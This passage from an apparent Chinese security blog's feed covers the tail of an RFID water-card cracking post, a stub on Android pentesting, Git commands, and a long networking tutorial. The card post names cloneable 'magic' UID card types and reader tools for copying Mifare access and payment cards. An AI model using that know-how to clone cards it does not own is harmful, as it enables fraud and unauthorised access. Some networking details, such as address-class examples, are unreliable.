</figure></p><p><strong>后记</strong><br>该水卡的加密规则不是很复杂,而对于有些涉及次数、时间、滚动码验证的卡怎么破解,因没有其他的卡和设备所以没有深入了解后续的其他破解</p><h4 id="科普部分"><a href="#科普部分" class="headerlink" title="#科普部分"></a>#科普部分</h4><!--废话开篇--><p>RFID是射频识别(Radio Frequency Identification,RFID)的意思,像什么ID卡、IC卡、RFID卡、NFC卡、Mifare卡的都是RFID技术(这些俗称银行卡、公交卡、饭卡、水卡、门禁卡等…)</p><h4 id="这里介绍一些比较常见的卡片类型"><a href="#这里介绍一些比较常见的卡片类型" class="headerlink" title="这里介绍一些比较常见的卡片类型"></a>这里介绍一些比较常见的卡片类型</h4><p><strong>Mifare S50(简称M1),</strong><br>最常见的卡,独一无二的UID号,无存储修改数据(学生卡,饭卡,公交卡,门禁卡等)<br><strong>Mifare UltraLight(简称MO),</strong><br>低成本卡,出厂固化UID,可存储修改数据(地铁卡,公交卡)<br><strong>Mifare UID(中国魔术卡,简称UID卡),</strong><br>M1卡的变异版本,可以修改UID号,国外叫Chinese magic card,可以用来完整克隆M1 S50的数据,但是可以被识别屏蔽<br><strong>FUID</strong><br>支持修改UID号,但修改一次后将被锁死成M1卡,大天朝就是牛逼<br><strong>CUID</strong><br>支持多次重写UID号,这难不倒我们智慧的人民群众</p><h4 id="常见工具:"><a href="#常见工具:" class="headerlink" title="常见工具:"></a>常见工具:</h4><ol><li>PN532、ACR122U-A、Proxmark3、Chameleon Mini等相关工具<figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx3.sinaimg.cn/mw690/006ALkzYgy1fwp62mw6m2j30go08rweq.jpg" alt="PN532" title=""> </div> <div class="image-caption">PN532</div> </figure><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx1.sinaimg.cn/mw690/006ALkzYgy1fwp62nb7wdj30m80m8dki.jpg" alt="ACR122U-A" title=""> </div> <div class="image-caption">ACR122U-A</div> </figure><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx2.sinaimg.cn/mw690/006ALkzYgy1fwp62oe47sj30zk0qo1kx.jpg" alt="Proxmark3" title=""> </div> <div class="image-caption">Proxmark3</div> </figure><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx2.sinaimg.cn/mw690/006ALkzYgy1fwp62nlxksj30rs0rsn5x.jpg" alt="Chameleon Mini" title=""> </div> <div class="image-caption">Chameleon Mini</div> </figure></li></ol><h4 id="一些数据分析工具"><a href="#一些数据分析工具" class="headerlink" title="一些数据分析工具"></a>一些数据分析工具</h4><p>太多了懒得找,我也没有。。。<br>一个WinHex,一个kali就完事了</p>]]></content>
<summary type="html">
<p><strong>仅作技术研究与交流,请勿用于非法用途,否则后果自负</strong><br>
</summary>
<category term="RFID" scheme="http://www.deops.cn/tags/RFID/"/>
<category term="NFC" scheme="http://www.deops.cn/tags/NFC/"/>
<category term="无线安全" scheme="http://www.deops.cn/tags/%E6%97%A0%E7%BA%BF%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>安卓应用程序渗透测试(一)</title>
<link href="http://www.deops.cn//posts/ef11486f/"/>
<id>http://www.deops.cn//posts/ef11486f/</id>
<published>2018-10-21T12:43:11.000Z</published>
<updated>2018-10-21T12:53:56.282Z</updated>
<content type="html"><![CDATA[<p>导语:在安全行业中,通常采用安卓安全测试来检测安卓APP中的漏洞。Web应用测试之后,人们更加关心的领域便是移动应用测试。我们先从一些基础开始。<br><a id="more"></a></p><p>在安全行业中,</p>]]></content>
<summary type="html">
<p>导语:在安全行业中,通常采用安卓安全测试来检测安卓APP中的漏洞。Web应用测试之后,人们更加关心的领域便是移动应用测试。我们先从一些基础开始。<br>
</summary>
</entry>
<entry>
<title>Git用户手册</title>
<link href="http://www.deops.cn//posts/7dcedd84/"/>
<id>http://www.deops.cn//posts/7dcedd84/</id>
<published>2018-10-07T08:13:31.000Z</published>
<updated>2018-10-21T12:36:04.820Z</updated>
<content type="html"><![CDATA[<p><strong>常用GIT</strong></p><p><a href="github.com">GitHub</a> <a href="https://coding.net/" rel="noopener">CODING</a> <a href="https://gitee.com/" rel="noopener">码云</a></p><p>查看git配置 git config –list<br>配置Git用户 git config –global user.name “myuser”<br>配置Git邮件地址 git config –global user.email <a href="mailto:emailaddress@mail.com" rel="noopener">emailaddress@mail.com</a><br>查看Git特定变量 git config user.name</p><p>在目录中初始新项目<br>git init<br>git add *.c<br>git add README</p><h2 id="git-commit-m-‘initial-project-version’"><a href="#git-commit-m-‘initial-project-version’" class="headerlink" title="git commit -m ‘initial project version’"></a>git commit -m ‘initial project version’</h2><p>克隆现有仓库<br>git clone URL[ssh or https]<br>例如git clone git://github.com/schacon/grit.git<br>在当前目录创建一个grit目录,然后将所有项目文件克隆到该目录<br>例如git clone git://github.com/schacon/grit.git mugrit<br>唯一的差别是现在新建的目录成了mygrit<br>Git支持许多数据传输协议,git://,http(s)://,<a href="mailto:user@github.com" rel="noopener">user@github.com</a>,</p><ol start="2"><li>Git基础 - 记录每次更新到仓库</li></ol>]]></content>
<summary type="html">
<p><strong>常用GIT</strong></p>
<p><a href="github.com">GitHub</a> <a href="https://coding.net/" class="pl-c1">"_blank" rel="noopener">CODING</a> <a
</summary>
</entry>
<entry>
<title>计算机网络基础知识总结</title>
<link href="http://www.deops.cn//posts/52752939/"/>
<id>http://www.deops.cn//posts/52752939/</id>
<published>2018-10-04T14:52:01.000Z</published>
<updated>2018-10-04T15:42:26.484Z</updated>
<content type="html"><![CDATA[<p>计算机网络基础,网络协议等基础知识总结</p><p>[TOC]</p><a id="more"></a><p>计算机网络学习的核心内容就是网络协议的学习。网络协议是为计算机网络中进行数据交换而建立的规则、标准或者说是约定的集合。因为不同用户的数据终端可能采取的字符集是不同的,两者需要进行通信,必须要在一定的标准上进行。一个很形象地比喻就是我们的语言,我们大天朝地广人多,地方性语言也非常丰富,而且方言之间差距巨大。A地区的方言可能B地区的人根本无法接受,所以我们要为全国人名进行沟通建立一个语言标准,这就是我们的普通话的作用。同样,放眼全球,我们与外国友人沟通的标准语言是英语,所以我们才要苦逼的学习英语。</p><p>计算机网络协议同我们的语言一样,多种多样。而ARPA公司与1977年到1979年推出了一种名为ARPANET的网络协议受到了广泛的热捧,其中最主要的原因就是它推出了人尽皆知的TCP/IP标准网络协议。目前TCP/IP协议已经成为Internet中的”通用语言”,下图为不同计算机群之间利用TCP/IP进行通信的示意图。</p><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx3.sinaimg.cn/mw690/006ALkzYly1fvwix7vs06g30d804674e.gif" alt="pcsptcomm" title=""> </div> <div class="image-caption">pcsptcomm</div> </figure><h3 id="1-网络层次划分"><a href="#1-网络层次划分" class="headerlink" title="1. 网络层次划分"></a><strong>1. 网络层次划分</strong></h3><p>为了使不同计算机厂家生产的计算机能够相互通信,以便在更大的范围内建立计算机网络,国际标准化组织(ISO)在1978年提出了”开放系统互联参考模型”,即著名的OSI/RM模型(Open System Interconnection/Reference Model)。它将计算机网络体系结构的通信协议划分为七层,自下而上依次为:物理层(Physics Layer)、数据链路层(Data Link Layer)、网络层(Network Layer)、传输层(Transport Layer)、会话层(Session Layer)、表示层(Presentation Layer)、应用层(Application Layer)。其中第四层完成数据传送服务,上面三层面向用户。<br>除了标准的OSI七层模型以外,常见的网络层次划分还有TCP/IP四层协议以及TCP/IP五层协议,它们之间的对应关系如下图所示:</p><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx3.sinaimg.cn/mw690/006ALkzYly1fvwixehlysj30ku0d2gmy.jpg" alt="osi tcp" title=""> </div> <div class="image-caption">osi tcp</div> </figure><h3 id="2-OSI七层网络模型"><a href="#2-OSI七层网络模型" class="headerlink" title="2. OSI七层网络模型"></a>2. OSI七层网络模型</h3><p>TCP/IP协议毫无疑问是互联网的基础协议,没有它就根本不可能上网,任何和互联网有关的操作都离不开TCP/IP协议。不管是OSI七层模型还是TCP/IP的四层、五层模型,每一层中都要自己的专属协议,完成自己相应的工作以及与上下层级之间进行沟通。由于OSI七层模型为网络的标准层次划分,所以我们以OSI七层模型为例从下向上进行一一介绍。</p><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx1.sinaimg.cn/mw690/006ALkzYly1fvwixehrdtg30tn0fvdhe.gif" alt="OSI 7 Layer" title=""> </div> <div class="image-caption">OSI 7 Layer</div> </figure><p><strong>1)物理层(Physical Layer)</strong><br>激活、维持、关闭通信端点之间的机械特性、电气特性、功能特性以及过程特性。<strong>该层为上层协议提供了一个传输数据的可靠的物理媒体。简单的说,物理层确保原始的数据可在各种物理媒体上传输。</strong>物理层记住两个重要的设备名称,中继器(Repeater,也叫放大器)和集线器。</p><p><strong>2)数据链路层(Data Link Layer)</strong><br>数据链路层在物理层提供的服务的基础上向网络层提供服务,其最基本的服务是将源自网络层来的数据可靠地传输到相邻节点的目标机网络层。为达到这一目的,数据链路必须具备一系列相应的功能,主要有:如何将数据组合成数据块,在数据链路层中称这种数据块为帧(frame),帧是数据链路层的传送单位;如何控制帧在物理信道上的传输,包括如何处理传输差错,如何调节发送速率以使与接收方相匹配;以及在两个网络实体之间提供数据链路通路的建立、维持和释放的管理。数据链路层在不可靠的物理介质上提供可靠的传输。该层的作用包括:物理地址寻址、数据的成帧、流量控制、数据的检错、重发等。</p><p>有关数据链路层的重要知识点:</p><ul><li><strong>1> 数据链路层为网络层提供可靠的数据传输;</strong></li><li><strong>2> 基本数据单位为帧;</strong></li><li><strong>3> 主要的协议:以太网协议;</strong></li><li><strong>4> 两个重要设备名称:网桥和交换机。</strong></li><li><strong>3)网络层(Network Layer)</strong></li></ul><p>网络层的目的是实现两个端系统之间的数据透明传送,具体功能包括寻址和路由选择、连接的建立、保持和终止等。它提供的服务使传输层不需要了解网络中的数据传输和交换技术。如果您想用尽量少的词来记住网络层,那就是”路径选择、路由及逻辑寻址”。</p><p>网络层中涉及众多的协议,其中包括最重要的协议,也是TCP/IP的核心协议——IP协议。IP协议非常简单,仅仅提供不可靠、无连接的传送服务。IP协议的主要功能有:无连接数据报传输、数据报路由选择和差错控制。与IP协议配套使用实现其功能的还有地址解析协议ARP、逆地址解析协议RARP、因特网报文协议ICMP、因特网组管理协议IGMP。具体的协议我们会在接下来的部分进行总结,有关网络层的重点为:</p><ul><li> <strong>1> 网络层负责对子网间的数据包进行路由选择。此外,网络层还可以实现拥塞控制、网际互连等功能;</strong></li><li> <strong>2> 基本数据单位为IP数据报;</strong></li><li> <strong>3> 包含的主要协议:</strong></li><li> <strong>IP协议(Internet Protocol,因特网互联协议);</strong></li><li> <strong>ICMP协议(Internet Control Message Protocol,因特网控制报文协议);</strong></li><li> <strong>ARP协议(Address Resolution Protocol,地址解析协议);</strong></li><li> <strong>RARP协议(Reverse Address Resolution Protocol,逆地址解析协议)。</strong></li><li> <strong>4> 重要的设备:路由器。</strong></li></ul><p><strong>4)传输层(Transport Layer)</strong></p><p>第一个端到端,即主机到主机的层次。传输层负责将上层数据分段并提供端到端的、可靠的或不可靠的传输。此外,传输层还要处理端到端的差错控制和流量控制问题。 传输层的任务是根据通信子网的特性,最佳的利用网络资源,为两个端系统的会话层之间,提供建立、维护和取消传输连接的功能,负责端到端的可靠数据传输。在这一层,信息传送的协议数据单元称为段或报文。 网络层只是根据网络地址将源结点发出的数据包传送到目的结点,而传输层则负责将数据可靠地传送到相应的端口。 有关网络层的重点:</p><ul><li>1> 传输层负责将上层数据分段并提供端到端的、可靠的或不可靠的传输以及端到端的差错控制和流量控制问题;</li><li>2> 包含的主要协议:TCP协议(Transmission Control Protocol,传输控制协议)、UDP协议(User Datagram Protocol,用户数据报协议);</li><li>3> 重要设备:网关。</li></ul><p><strong>5)会话层</strong></p><p>会话层管理主机之间的会话进程,即负责建立、管理、终止进程之间的会话。会话层还利用在数据中插入校验点来实现数据的同步。</p><p><strong>6)表示层</strong></p><p>表示层对上层数据或信息进行变换以保证一个主机应用层信息可以被另一个主机的应用程序理解。表示层的数据转换包括数据的加密、压缩、格式转换等。</p><p><strong>7)应用层</strong></p><p>为操作系统或网络应用程序提供访问网络服务的接口。</p><p>会话层、表示层和应用层重点:</p><ul><li><strong>1> 数据传输基本单位为报文;</strong></li><li><strong>2> 包含的主要协议:FTP(文件传送协议)、Telnet(远程登录协议)、DNS(域名解析协议)、SMTP(邮件传送协议),POP3协议(邮局协议),HTTP协议(Hyper Text Transfer Protocol)。</strong></li></ul><h3 id="3-IP地址"><a href="#3-IP地址" class="headerlink" title="3. IP地址"></a>3. IP地址</h3><p><strong>1)网络地址</strong></p><p>IP地址由网络号(包括子网号)和主机号组成,网络地址的主机号为全0,网络地址代表着整个网络。</p><p><strong>2)广播地址</strong></p><p>广播地址通常称为直接广播地址,是为了区分受限广播地址。</p><p>广播地址与网络地址的主机号正好相反,广播地址中,主机号为全1。当向某个网络的广播地址发送消息时,该网络内的所有主机都能收到该广播消息。</p><p><strong>3)组播地址</strong><br>D类地址就是组播地址。<br>先回忆下A,B,C,D类地址吧:<br>A类地址以0开头,第一个字节作为网络号,地址范围为:0.0.0.0~127.255.255.255;(<strong>modified @2016.05.31</strong>)<br>B类地址以10开头,前两个字节作为网络号,地址范围是:128.0.0.0~191.255.255.255;<br>C类地址以110开头,前三个字节作为网络号,地址范围是:192.0.0.0~223.255.255.255。<br>D类地址以1110开头,地址范围是224.0.0.0~239.255.255.255,D类地址作为组播地址(一对多的通信);<br>E类地址以1111开头,地址范围是240.0.0.0~255.255.255.255,E类地址为保留地址,供以后使用。<br>注:只有A,B,C有网络号和主机号之分,D类地址和E类地址没有划分网络号和主机号。</p><p><strong>4)255.255.255.255</strong></p><p>该IP地址指的是受限的广播地址。受限广播地址与一般广播地址(直接广播地址)的区别在于,受限广播地址只能用于本地网络,路由器不会转发以受限广播地址为目的地址的分组;一般广播地址既可在本地广播,也可跨网段广播。例如:主机192.168.1.1/30上的直接广播数据包后,另外一个网段192.168.1.5/30也能收到该数据报;若发送受限广播数据报,则不能收到。</p><p>注:一般的广播地址(直接广播地址)能够通过某些路由器(当然不是所有的路由器),而受限的广播地址不能通过路由器。</p><p><strong>5)0.0.0.0</strong></p><p>常用于寻找自己的IP地址,例如在我们的RARP,BOOTP和DHCP协议中,若某个未知IP地址的无盘机想要知道自己的IP地址,它就以255.255.255.255为目的地址,向本地范围(具体而言是被各个路由器屏蔽的范围内)的服务器发送IP请求分组。</p><p><strong>6)回环地址</strong></p><p>127.0.0.0/8被用作回环地址,回环地址表示本机的地址,常用于对本机的测试,用的最多的是127.0.0.1。</p><p><strong>7)A、B、C类私有地址</strong></p><p>私有地址(private address)也叫专用地址,它们不会在全球使用,只具有本地意义。<br>A类私有地址:10.0.0.0/8,范围是:10.0.0.0~10.255.255.255<br>B类私有地址:172.16.0.0/12,范围是:172.16.0.0~172.31.255.255<br>C类私有地址:192.168.0.0/16,范围是:192.168.0.0~192.168.255.255</p><h3 id="4-子网掩码及网络划分"><a href="#4-子网掩码及网络划分" class="headerlink" title="4. 子网掩码及网络划分"></a>4. 子网掩码及网络划分</h3><p>随着互连网应用的不断扩大,原先的IPv4的弊端也逐渐暴露出来,即网络号占位太多,而主机号位太少,所以其能提供的主机地址也越来越稀缺,目前除了使用NAT在企业内部利用保留地址自行分配以外,通常都对一个高类别的IP地址进行再划分,以形成多个子网,提供给不同规模的用户群使用。</p><p>这里主要是为了在网络分段情况下有效地利用IP地址,通过对主机号的高位部分取作为子网号,从通常的网络位界限中扩展或压缩子网掩码,用来创建某类地址的更多子网。但创建更多的子网时,在每个子网上的可用主机地址数目会比原先减少。</p><p><strong>什么是子网掩码?</strong></p><p>子网掩码是标志两个IP地址是否同属于一个子网的,也是32位二进制地址,其每一个为1代表该位是网络位,为0代表主机位。它和IP地址一样也是使用点式十进制来表示的。如果两个IP地址在子网掩码的按位与的计算下所得结果相同,即表明它们共属于同一子网中。</p><p><strong>在计算子网掩码时,我们要注意IP地址中的保留地址,即” 0”地址和广播地址,它们是指主机地址或网络地址全为” 0”或” 1”时的IP地址,它们代表着本网络地址和广播地址,一般是不能被计算在内的。</strong></p><p><strong>子网掩码的计算:</strong></p><p>对于无须再划分成子网的IP地址来说,其子网掩码非常简单,即按照其定义即可写出:如某B类IP地址为 10.12.3.0,无须再分割子网,则该IP地址的子网掩码255.255.0.0。如果它是一个C类地址,则其子网掩码为 255.255.255.0。其它类推,不再详述。下面我们关键要介绍的是一个IP地址,还需要将其高位主机位再作为划分出的子网网络号,剩下的是每个子网的主机号,这时该如何进行每个子网的掩码计算。</p><p>下面总结一下有关子网掩码和网络划分常见的面试考题:</p><p><strong>1)利用子网数来计算</strong></p><p>在求子网掩码之前必须先搞清楚要划分的子网数目,以及每个子网内的所需主机数目。</p><p>(1) 将子网数目转化为二进制来表示;</p><p>如欲将B类IP地址168.195.0.0划分成27个子网:27=11011;</p><p>(2) 取得该二进制的位数,为N;</p><p>该二进制为五位数,N = 5</p><p>(3) 取得该IP地址的类子网掩码,将其主机地址部分的的前N位置1即得出该IP地址划分子网的子网掩码。</p><p>将B类地址的子网掩码255.255.0.0的主机地址前5位置 1,得到 255.255.248.0</p><p><strong>2)利用主机数来计算</strong></p><p>如欲将B类IP地址168.195.0.0划分成若干子网,每个子网内有主机700台:</p><p>(1) 将主机数目转化为二进制来表示;</p><blockquote><p>700=1010111100</p></blockquote><p>(2) 如果主机数小于或等于254(注意去掉保留的两个IP地址),则取得该主机的二进制位数,为N,这里肯定 N<8。如果大于254,则 N>8,这就是说主机地址将占据不止8位;</p><p>该二进制为十位数,N=10;</p><p>(3) 使用255.255.255.255来将该类IP地址的主机地址位数全部置1,然后从后向前的将N位全部置为 0,即为子网掩码值。</p><p>将该B类地址的子网掩码255.255.0.0的主机地址全部置1,得到255.255.255.255,然后再从后向前将后 10位置0,即为:11111111.11111111.11111100.00000000,即255.255.252.0。这就是该欲划分成主机为700台的B类IP地址 168.195.0.0的子网掩码。</p><p><strong>3)还有一种题型,要你根据每个网络的主机数量进行子网地址的规划和**</strong>计算子网掩码。这也可按上述原则进行计算。**<br>比如一个子网有10台主机,那么对于这个子网需要的IP地址是:</p><blockquote><p>10+1+1+1=13</p></blockquote><p><strong>注意:加的第一个1是指这个网络连接时所需的网关地址,接着的两个1分别是指网**</strong>络地址和广播地址。**</p><p>因为13小于16(16等于2的4次方),所以主机位为4位。而256-16=240,所以该子网掩码为255.255.255.240。</p><p>如果一个子网有14台主机,不少人常犯的错误是:依然分配具有16个地址空间的子网,而忘记了给网关分配地址。这样就错误了,因为14+1+1+1=17,17大于16,所以我们只能分配具有32个地址(32等于2的5次方)空间的子网。这时子网掩码为:255.255.255.224。</p><h3 id="5-ARP-RARP协议"><a href="#5-ARP-RARP协议" class="headerlink" title="5. ARP/RARP协议"></a>5. ARP/RARP协议</h3><p><strong>地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。</strong>主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。<strong>ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。</strong></p><p>ARP工作流程举例:</p><p>主机A的IP地址为192.168.1.1,MAC地址为0A-11-22-33-44-01;</p><p>主机B的IP地址为192.168.1.2,MAC地址为0A-11-22-33-44-02;</p><p>当主机A要与主机B通信时,地址解析协议可以将主机B的IP地址(192.168.1.2)解析成主机B的MAC地址,以下为工作流程:</p><ul><li>(1)根据主机A上的路由表内容,IP确定用于访问主机B的转发IP地址是192.168.1.2。然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址。</li><li>(2)如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。</li><li>(3)主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。</li><li>(4)主机B将包含其MAC地址的ARP回复消息直接发送回主机A。</li><li>(5)当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。</li></ul><p><strong>逆地址解析协议,即RARP,功能和ARP协议相对,其将局域网中某个主机的物理地址转换为IP地址</strong></p><p>,比如局域网中有一台主机只知道物理地址而不知道IP地址,那么可以通过RARP协议发出征求自身IP地址的广播请求,然后由RARP服务器负责回答。</p><p>RARP协议工作流程:</p><ul><li>(1)给主机发送一个本地的RARP广播,在此广播包中,声明自己的MAC地址并且请求任何收到此请求的RARP服务器分配一个IP地址;</li><li>(2)本地网段上的RARP服务器收到此请求后,检查其RARP列表,查找该MAC地址对应的IP地址;</li><li>(3)如果存在,RARP服务器就给源主机发送一个响应数据包并将此IP地址提供给对方主机使用;</li><li>(4)如果不存在,RARP服务器对此不做任何的响应;</li></ul><h3 id="6-路由选择协议"><a href="#6-路由选择协议" class="headerlink" title="6. 路由选择协议"></a>6. 路由选择协议</h3><p>常见的路由选择协议有:RIP协议、OSPF协议。</p><p><strong>RIP协议</strong>:底层是贝尔曼福特算法,它选择路由的度量标准(metric)是跳数,最大跳数是15跳,如果大于15跳,它就会丢弃数据包。</p><p><strong>OSPF协议</strong>:Open Shortest Path First开放式最短路径优先,底层是迪杰斯特拉算法,是链路状态路由选择协议,它选择路由的度量标准是带宽,延迟。</p><h3 id="7-TCP-IP协议"><a href="#7-TCP-IP协议" class="headerlink" title="7. TCP/IP协议"></a>7. TCP/IP协议</h3><p><strong>TCP/IP协议是Internet最基本的协议、Internet国际互联网络的基础,由网络层的IP协议和传输层的TCP协议组成。通俗而言:TCP负责发现传输的问题,一有问题就发出信号,要求重新传输,直到所有数据安全正确地传输到目的地。而IP是给因特网的每一台联网设备规定一个地址。</strong></p><p>IP层接收由更低层(网络接口层例如以太网设备驱动程序)发来的数据包,并把该数据包发送到更高层—TCP或UDP层;相反,IP层也把从TCP或UDP层接收来的数据包传送到更低层。IP数据包是不可靠的,因为IP并没有做任何事情来确认数据包是否按顺序发送的或者有没有被破坏,IP数据包中含有发送它的主机的地址(源地址)和接收它的主机的地址(目的地址)。</p><p>TCP是面向连接的通信协议,通过三次握手建立连接,通讯完成时要拆除连接,由于TCP是面向连接的所以只能用于端到端的通讯。TCP提供的是一种可靠的数据流服务,采用”带重传的肯定确认”技术来实现传输的可靠性。TCP还采用一种称为”滑动窗口”的方式进行流量控制,所谓窗口实际表示接收能力,用以限制发送方的发送速度。</p><p><strong>TCP报文首部格式:</strong></p><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx4.sinaimg.cn/mw690/006ALkzYly1fvwix7wmatj30ih0dmt99.jpg" alt="tcp messages" title=""> </div> <div class="image-caption">tcp messages</div> </figure><p><strong>TCP协议的三次握手和四次挥手:</strong></p><figure class="image-bubble"> <div class="img-lightbox"> <div class="overlay"></div> <img src="https://wx1.sinaimg.cn/mw690/006ALkzYly1fvwix7wogcj30f60lcq43.jpg" alt="tcp 3 hold hand" title=""> </div> <div class="image-caption">tcp 3 hold hand</div> </figure><p> <strong>注:seq</strong>:”sequance”序列号;<strong>ack</strong>:”acknowledge”确认号;<strong>SYN</strong>:”synchronize”请求同步标志;<strong>;ACK</strong>:”acknowledge”确认标志”<strong>;**</strong>FIN**:”Finally”结束标志。</p><p><strong>TCP连接建立过程:</strong>首先Client端发送连接请求报文,Server段接受连接后回复ACK报文,并为这次连接分配资源。Client端接收到ACK报文后也向Server段发生ACK报文,并分配资源,这样TCP连接就建立了。</p><p><strong>TCP连接断开过程:</strong>假设Client端发起中断连接请求,也就是发送FIN报文。Server端接到FIN报文后,意思是说”我Client端没有数据要发给你了”,但是如果你还有数据没有发送完成,则不必急着关闭Socket,可以继续发送数据。所以你先发送ACK,”告诉Client端,你的请求我收到了,但是我还没准备好,请继续你等我的消息”。这个时候Client端就进入FIN_WAIT状态,继续等待Server端的FIN报文。当Server端确定数据已发送完成,则向Client端发送FIN报文,”告诉Client端,好了,我这边数据发完了,准备好关闭连接了”。Client端收到FIN报文后,”就知道可以关闭连接了,但是他还是不相信网络,怕Server端不知道要关闭,所以发送ACK后进入TIME_WAIT状态,如果Server端没有收到ACK则可以重传。”,Server端收到ACK后,”就知道可以断开连接了”。Client端等待了2MSL后依然没有收到回复,则证明Server端已正常关闭,那好,我Client端也可以关闭连接了。Ok,TCP连接就这样关闭了!</p><p><strong>为什么要三次握手?</strong></p><p>在只有两次”握手”的情形下,假设Client想跟Server建立连接,但是却因为中途连接请求的数据报丢失了,故Client端不得不重新发送一遍;这个时候Server端仅收到一个连接请求,因此可以正常的建立连接。但是,有时候Client端重新发送请求不是因为数据报丢失了,而是有可能数据传输过程因为网络并发量很大在某结点被阻塞了,这种情形下Server端将先后收到2次请求,并持续等待两个Client请求向他发送数据…问题就在这里,Cient端实际上只有一次请求,而Server端却有2个响应,极端的情况可能由于Client端多次重新发送请求数据而导致Server端最后建立了N多个响应在等待,因而造成极大的资源浪费!所以,”三次握手”很有必要!</p><p><strong>为什么要四次握手?</strong><br>试想一下,假如现在你是客户端你想断开跟Server的所有连接该怎么做?第一步,你自己先停止向Server端发送数据,并等待Server的回复。但事情还没有完,虽然你自身不往Server发送数据了,但是因为你们之前已经建立好平等的连接了,所以此时他也有主动权向你发送数据;故Server端还得终止主动向你发送数据,并等待你的确认。其实,说白了就是保证双方的一个合约的完整执行!</p><p>使用TCP的协议:FTP(文件传输协议)、Telnet(远程登录协议)、SMTP(简单邮件传输协议)、POP3(和SMTP相对,用于接收邮件)、HTTP协议等。</p><h3 id="8-UDP协议"><a href="#8-UDP协议" class="headerlink" title="8. UDP协议"></a>8. UDP协议</h3><p><strong>UDP用户数据报协议,是面向无连接的通讯协议,UDP数据包括目的端口号和源端口号信息,由于通讯不需要连接,所以可以实现广播发送。</strong></p><p>UDP通讯时不需要接收方确认,属于不可靠的传输,可能会出现丢包现象,实际应用中要求程序员编程验证。<br>UDP与TCP位于同一层,但它不管数据包的顺序、错误或重发。因此,UDP不被应用于那些使用虚电路的面向连接的服务,UDP主要用于那些面向查询—应答的服务,例如NFS。相对于FTP或Telnet,这些服务需要交换的信息量较小。<br>每个UDP报文分UDP报头和UDP数据区两部分。报头由四个16位长(2字节)字段组成,分别说明该报文的源端口、目的端口、报文长度以及校验值。UDP报头由4个域组成,其中每个域各占用2个字节,具体如下:</p><ul><li>(1)源端口号;</li><li>(2)目标端口号;</li><li>(3)数据报长度;</li><li>(4)校验值。</li></ul><p>使用UDP协议包括:TFTP(简单文件传输协议)、SNMP(简单网络管理协议)、DNS(域名解析协议)、NFS、BOOTP。</p><p><strong>TCP与UDP的区别</strong>:TCP是面向连接的,可靠的字节流服务;UDP是面向无连接的,不可靠的数据报服务。</p><h3 id="9-DNS协议"><a href="#9-DNS协议" class="headerlink" title="9. DNS协议"></a>9. DNS协议</h3><p>DNS是域名系统(DomainNameSystem)的缩写,该系统用于命名组织到域层次结构中的计算机和网络服务,<strong>可以简单地理解为将URL转换为IP地址</strong>。域名是由圆点分开一串单词或缩写组成的,每一个域名都对应一个惟一的IP地址,在Internet上域名与IP地址之间是一一对应的,DNS就是进行域名解析的服务器。DNS命名用于Internet等TCP/IP网络中,通过用户友好的名称查找计算机和服务。</p><h3 id="10-NAT协议"><a href="#10-NAT协议" class="headerlink" title="10. NAT协议"></a>10. NAT协议</h3><p> NAT网络地址转换(Network Address Translation)属接入广域网(WAN)技术,是一种将私有(保留)地址转化为合法IP地址的转换技术,它被广泛应用于各种类型Internet接入方式和各种类型的网络中。原因很简单,NAT不仅完美地解决了lP地址不足的问题,而且还能够有效地避免来自网络外部的攻击,隐藏并保护网络内部的计算机。</p><h3 id="11-DHCP协议"><a href="#11-DHCP协议" class="headerlink" title="11. DHCP协议"></a>11. DHCP协议</h3><p>DHCP动态主机设置协议(Dynamic Host Configuration Protocol)是一个局域网的网络协议,使用UDP协议工作,主要有两个用途:给内部网络或网络服务供应商自动分配IP地址,给用户或者内部网络管理员作为对所有计算机作中央管理的手段。</p><h3 id="12-HTTP协议"><a href="#12-HTTP协议" class="headerlink" title="12. HTTP协议"></a>12. HTTP协议</h3><p>超文本传输协议(HTTP,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议。所有的WWW文件都必须遵守这个标准。 <br><strong>HTTP</strong> <strong>协议包括哪些请求?</strong><br>GET:请求读取由URL所标志的信息。<br>POST:给服务器添加信息(如注释)。<br>PUT:在给定的URL下存储一个文档。<br>DELETE:删除给定的URL所标志的资源。</p><p><strong>HTTP</strong> <strong>中,</strong> <strong>POST</strong> <strong>与</strong> <strong>GET</strong> 